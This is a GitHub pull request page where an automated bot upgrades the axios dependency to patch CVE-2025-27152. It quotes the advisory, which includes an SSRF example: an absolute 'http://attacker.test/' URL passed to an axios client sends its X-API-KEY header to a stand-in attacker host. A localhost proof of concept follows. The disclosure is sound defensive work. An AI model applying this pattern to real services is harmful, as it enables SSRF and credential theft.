Skip to content
This repository was archived by the owner on Oct 17, 2025. It is now read-only.

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Apr 18, 2025

This PR contains the following updates:

Package Change Age Confidence
axios (source) ^0.28.0 -> ^0.30.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-27152

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Release Notes

axios/axios (axios)

v0.30.0

Compare Source

Release notes:

Bug Fixes
Contributors to this release

Full Changelog: axios/axios@v0.29.0...v0.30.0

v0.29.0

Compare Source

Release notes:

Bug Fixes
Contributors to this release

Configuration

📅 Schedule: Branch creation - "" in timezone America/New_York, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled because a matching PR was automerged previously.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@codecov
Copy link

codecov bot commented Apr 18, 2025

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 71.62%. Comparing base (4e5d401) to head (8cdfd27).

Additional details and impacted files
@@           Coverage Diff           @@
##           master     #406   +/-   ##
=======================================
  Coverage   71.62%   71.62%           
=======================================
  Files          43       43           
  Lines         793      793           
  Branches      179      179           
=======================================
  Hits          568      568           
  Misses        218      218           
  Partials        7        7           

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 4b095f7 to 1b670b1 Compare April 21, 2025 09:56
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from f8d1e86 to 2c84b8d Compare May 5, 2025 09:56
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 2c84b8d to 3834974 Compare May 12, 2025 10:57
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 3834974 to 46c1436 Compare May 19, 2025 12:38
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 45b5332 to 4510070 Compare June 2, 2025 10:40
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 4510070 to b4939f3 Compare June 9, 2025 11:49
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from b4939f3 to 4357afc Compare June 16, 2025 14:51
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from c18ed03 to 3ffe35f Compare June 30, 2025 20:38
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 83256eb to ec0b12b Compare July 21, 2025 11:47
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from ec0b12b to e255582 Compare July 23, 2025 21:41
@renovate renovate bot changed the title chore(deps): update dependency axios to ^0.30.0 [security] chore(deps): update dependency axios to v1 [security] Jul 23, 2025
@renovate renovate bot changed the title chore(deps): update dependency axios to v1 [security] chore(deps): update dependency axios to ^0.30.0 [security] Jul 24, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from e255582 to d26a384 Compare July 24, 2025 19:55
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 4 times, most recently from 423ccc6 to 293d89e Compare August 12, 2025 22:34
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 293d89e to e7be7f8 Compare August 18, 2025 08:33
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from e7be7f8 to 1157e72 Compare August 25, 2025 09:59
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from f8879a9 to 6585e89 Compare September 13, 2025 23:41
@renovate renovate bot changed the title chore(deps): update dependency axios to ^0.30.0 [security] chore(deps): update dependency axios to v1 [security] Sep 13, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 1a2b260 to a723c98 Compare September 22, 2025 10:07
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 91ff20d to 48213e7 Compare September 29, 2025 09:03
@renovate renovate bot changed the title chore(deps): update dependency axios to v1 [security] chore(deps): update dependency axios to ^0.30.0 [security] Sep 29, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 48213e7 to 9b9c17f Compare October 6, 2025 10:05
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 9b9c17f to fc17935 Compare October 13, 2025 10:31
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from fc17935 to 8cdfd27 Compare October 16, 2025 14:16
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant